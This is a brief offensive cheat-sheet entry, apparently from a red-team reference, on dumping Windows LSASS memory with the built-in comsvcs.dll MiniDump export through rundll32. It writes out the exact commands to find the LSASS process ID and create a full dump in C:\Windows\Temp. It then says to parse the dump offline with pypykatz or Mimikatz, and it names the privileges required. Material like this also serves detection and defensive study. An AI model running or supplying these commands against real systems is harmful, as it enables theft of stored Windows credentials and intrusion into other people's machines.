Comsvcs

The built-in comsvcs.dll exports a MiniDump function that rundll32 can call to write a full memory dump of any process by PID, making it a living-off-the-land LSASS dumper that needs no dropped tooling. Supply the LSASS PID (find it with tasklist or Get-Process lsass), an output path, and the 'full' flag for a complete dump. It requires SYSTEM (or admin + SeDebugPrivilege); the dump is then parsed offline with pypykatz or Mimikatz. This technique is well-signatured, so treat it as noisy. Command Reference: Output dump: C:\Windows\Temp\lsass.dmp LSASS PID: <lsass_pid>

# Get the LSASS PID first:  tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\Windows\Temp\lsass.dmp full

Native

Credential Access

MITRE

T1003.001

Requires

Shell

Services

NTLM, Kerberos

Refs

lolbas-project.github.io/lolbas/Libraries/comsvcs/

book.hacktricks.xyz/windows-hardening/stealing-credentials

attack.mitre.org/techniques/T1003/001/